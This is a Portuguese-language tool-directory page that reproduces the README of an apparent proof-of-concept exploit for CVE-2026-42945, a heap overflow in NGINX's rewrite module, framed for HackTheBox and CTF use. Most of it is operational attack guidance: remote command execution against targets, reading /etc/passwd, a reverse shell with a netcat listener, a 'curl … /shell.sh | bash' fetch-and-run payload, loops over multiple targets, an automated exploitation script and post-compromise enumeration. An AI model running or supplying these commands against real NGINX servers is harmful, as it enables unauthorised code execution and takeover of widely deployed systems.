Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42945-POC — exploit para CVE-2026-42945 | Kitploit
Ferramentas/GitHubGitHub/cipherspy/cve-2026-42945-poc
ReconhecimentoGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoComando e ControleAprendizado e EducaçãoExploração de Binários
GitHub
541317há 4 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
cipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

exploit para CVE-2026-42945

Ver Repositório
Compartilhar

CVE-2026-42945 (NGINX Rift) - Exploit Pronto para HTB

Exploit independente para a vulnerabilidade de estouro de buffer heap do NGINX descoberta em 2024. Esta versão é otimizada para ambientes HackTheBox e CTF onde você não pode configurar contêineres Docker.

Detalhes da Vulnerabilidade

CVE-2026-42945 é um estouro de buffer heap crítico no ngx_http_rewrite_module do NGINX que existe desde 2008 (versão 0.6.27). O bug ocorre quando:

  1. Uma diretiva rewrite contém ? na substituição (define is_args = 1)
  2. Uma diretiva set captura parte da URI
  3. O cálculo de comprimento ocorre em um sub-motor zerado (vê is_args = 0)
  4. A fase de cópia é executada no motor principal (vê is_args = 1)
  5. O escape de URI expande caracteres 3x, transbordando o buffer subdimensionado

Versões Afetadas

  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

Versões Corrigidas

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

Arquivos Incluídos

  1. nginx_rift_htb.py - Script principal do exploit
  2. nginx_rift_helper.py - Auxiliar de reconhecimento e vazamento de informações
  3. README.md - Este arquivo

Requisitos

# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# Nenhum pacote Python adicional necessário - usa apenas stdlib!

Início Rápido

1. Verificar se o Alvo é Vulnerável

python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Isso irá:

  • Detectar se o NGINX está em execução
  • Tentar identificar a versão
  • Verificar o endpoint /api/
  • Relatar se o alvo parece vulnerável

2. Reconhecimento (Recomendado)

python3 nginx_rift_helper.py --target 10.10.11.x --all

Isso realiza:

  • Identificação do NGINX
  • Detecção de versão
  • Descoberta de endpoints
  • Detecção de vazamento de informações
  • Análise comportamental

3. Executar o Exploit

Executar um comando:

python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Obter um shell reverso:

# Iniciar o listener primeiro (em outro terminal)
nc -lvnp 4444

# Executar o exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Exemplos de Uso

Execução Básica de Comandos

# Executar o comando 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Executar 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Ler /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Shell Reverso

# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Executar exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Endereços Personalizados (Se ASLR estiver desativado ou você tiver vazamentos)

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Opções Avançadas

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Entendendo o Exploit

Como Funciona

  1. Heap Spray: O exploit envia múltiplas requisições POST com corpos criados contendo uma estrutura falsa ngx_pool_cleanup_s
  2. Acionamento do Overflow: Envia uma requisição GET para /api/ com uma URI especialmente criada que transbordará ao ser escapada
  3. Hook de Limpeza: O overflow corrompe o ponteiro de limpeza de um pool adjacente para apontar para nossa estrutura falsa
  4. Execução de Código: Quando o pool é destruído, chama system() com nosso comando

Parâmetros Chave

  • Bytes alvo: Endereços de 6 bytes que devem conter apenas caracteres seguros para URL
  • Corpo do spray: Corpo POST de 4000 bytes contendo estrutura de limpeza falsa
  • Payload de overflow: 349 'A' + 969 caracteres '+' que se expandem 3x durante o escape

Considerações sobre ASLR

O exploit assume que ASLR está desativado ou que você conhece os endereços. No HTB:

  • Algumas máquinas desativam o ASLR para exploração mais fácil
  • Outras exigem encontrar um vazamento de informações
  • O script auxiliar pode ajudar com o reconhecimento

Se o ASLR estiver ativado, você pode precisar:

  1. Encontrar um vazamento de informações na aplicação
  2. Força bruta (requer muitas tentativas)
  3. Usar sobrescritas parciais (avançado)

Solução de Problemas

"O alvo não parece estar executando NGINX"

  • Verifique se o alvo está realmente executando NGINX
  • Confirme se a porta está correta
  • Pode estar atrás de um WAF/proxy

"Não foi possível confirmar o endpoint /api/"

A configuração vulnerável requer:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • O exploit pode funcionar mesmo se rewrite+set existirem em outro lugar
  • Tente caminhos comuns diferentes: /api/, /admin/, /internal/

"Todas as tentativas de exploração falharam"

Possíveis razões:

  1. ASLR está ativado - Endereços são aleatorizados

    • Solução: Encontre vazamento de informações ou use força bruta
  2. Versão diferente da libc - system() em offset diferente

    • Solução: Tente todos os offsets com --verbose
  3. Versão não vulnerável - Versão corrigida ou configuração diferente

    • Solução: Verifique a versão com o script auxiliar
  4. WAF/IDS bloqueando - Controles de segurança em vigor

    • Solução: Pode precisar de técnicas de evasão
  5. Endpoint errado - Não está usando combinação rewrite+set

    • Solução: Encontre o endpoint vulnerável real

Modo Verboso

Sempre use --verbose para depuração:

python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Isso mostra:

  • Status de cada requisição de spray
  • Tentativas de conexão
  • Temporização do acionamento do overflow
  • Lógica de detecção de crash

Dicas Específicas para HTB

Encontrando Seu IP VPN

# Encontre seu IP tun0
ip addr show tun0 | grep inet

# Use este IP para --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost SEU_IP_TUN0 --lport 4444

Estabilizando o Shell

Assim que obtiver acesso inicial:

# Atualizar para TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Colocar em segundo plano e definir terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Enumeração Comum no HTB Após o Shell

# Verificar usuário atual
id
whoami

# Procurar flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Verificar permissões sudo
sudo -l

# Verificar binários SUID
find / -perm -4000 2>/dev/null

Uso Avançado

Geração de Payload Personalizado

Se precisar personalizar o payload:

# Edite a função make_body() em nginx_rift_htb.py
# Ajuste BODY_LEN para diferentes configurações
# Modifique a string de overflow (349 'A' + 969 '+')

Múltiplos Alvos

# Crie uma lista de alvos
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Teste cada um
while read target; do
    echo "Testando $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Exploração Automatizada

#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Iniciando listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Executando exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Detalhes Técnicos

Padrão de Código Vulnerável

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Define is_args=1
    set $original_endpoint $1;                     # Aloca com base em is_args=0
}

Fluxo de Exploração

Baixar ferramenta